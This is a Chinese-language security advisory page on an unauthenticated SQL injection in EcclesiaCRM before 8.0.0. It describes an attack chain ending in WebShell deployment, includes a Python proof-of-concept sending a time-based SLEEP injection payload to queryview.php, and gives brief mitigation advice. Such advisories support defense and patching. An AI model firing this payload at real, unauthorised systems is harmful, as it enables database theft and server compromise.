IPBUF安全漏洞报告
English
CVE-2026-35184 CVSS 9.8 严重

CVE-2026-35184 EcclesiaCRM SQL注入漏洞

披露日期: 2026-04-06

漏洞信息

漏洞编号
CVE-2026-35184
漏洞类型
SQL注入
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
EcclesiaCRM

相关标签

SQL注入EcclesiaCRMRCE高危漏洞无需认证

漏洞概述

EcclesiaCRM是一款用于教会管理的CRM软件。在8.0.0版本之前,其v2/templates/query/queryview.php文件中的custom和value参数存在SQL注入漏洞。由于该漏洞无需认证且可远程利用,攻击者可轻易执行恶意SQL语句,导致数据库信息泄露、数据篡改甚至服务器被完全控制,安全风险极高。

技术细节

该漏洞源于EcclesiaCRM在处理查询请求时,未对用户输入的`custom`和`value`参数进行充分的过滤或预编译处理,直接将其拼接到SQL查询语句中。在文件`v2/templates/query/queryview.php`中,攻击者可以通过构造恶意的HTTP请求发送至该端点。由于CVSS向量显示无需用户交互(UI:N)且无需权限(PR:N),未授权的攻击者可通过网络(AV:N)利用此漏洞。利用方式通常涉及发送包含特定SQL元字符(如单引号、注释符、UNION SELECT语句)的Payload,从而绕过原本的查询逻辑,执行任意SQL命令。这可能导致读取敏感数据(如用户凭证、教会成员信息)或写入WebShell以获取服务器权限。

攻击链分析

STEP 1
侦察
攻击者通过网络扫描发现运行EcclesiaCRM的目标系统,并确定其版本低于8.0.0。
STEP 2
漏洞利用
攻击者向`v2/templates/query/queryview.php`端点发送特制的HTTP POST请求,在`custom`和`value`参数中注入恶意SQL代码。
STEP 3
代码执行
后端数据库接收到未经过滤的输入,将其作为SQL指令执行,导致攻击者能读取或修改数据库内容。
STEP 4
权限提升与控制
利用获取的数据库凭据或通过写入WebShell,攻击者可能进一步控制服务器,获取系统级权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_sqli(target_url): """ PoC for CVE-2026-35184 SQL Injection in EcclesiaCRM Tests the vulnerability via time-based injection. """ vuln_path = "/v2/templates/query/queryview.php" full_url = f"{target_url.rstrip('/')}{vuln_path}" # Payload attempts to cause a time delay using SLEEP() payload = { "custom": "1", "value": "1' AND (SELECT SLEEP(5))-- -" } try: print(f"[*] Sending request to: {full_url}") response = requests.post(full_url, data=payload, timeout=10) # Check if the response time indicates SQL execution if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! SQL Injection detected.") else: print("[-] Target may not be vulnerable or patched.") except requests.exceptions.RequestException as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target = "http://localhost" # Replace with actual target check_sqli(target)

影响范围

EcclesiaCRM < 8.0.0

防御指南

临时缓解措施
对于无法立即升级的用户,建议在WAF(Web应用防火墙)中部署规则,拦截针对`/v2/templates/query/queryview.php`路径的异常SQL请求。同时,严格限制数据库用户的权限,避免使用root等高权限账号连接数据库,以减少潜在的损害。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表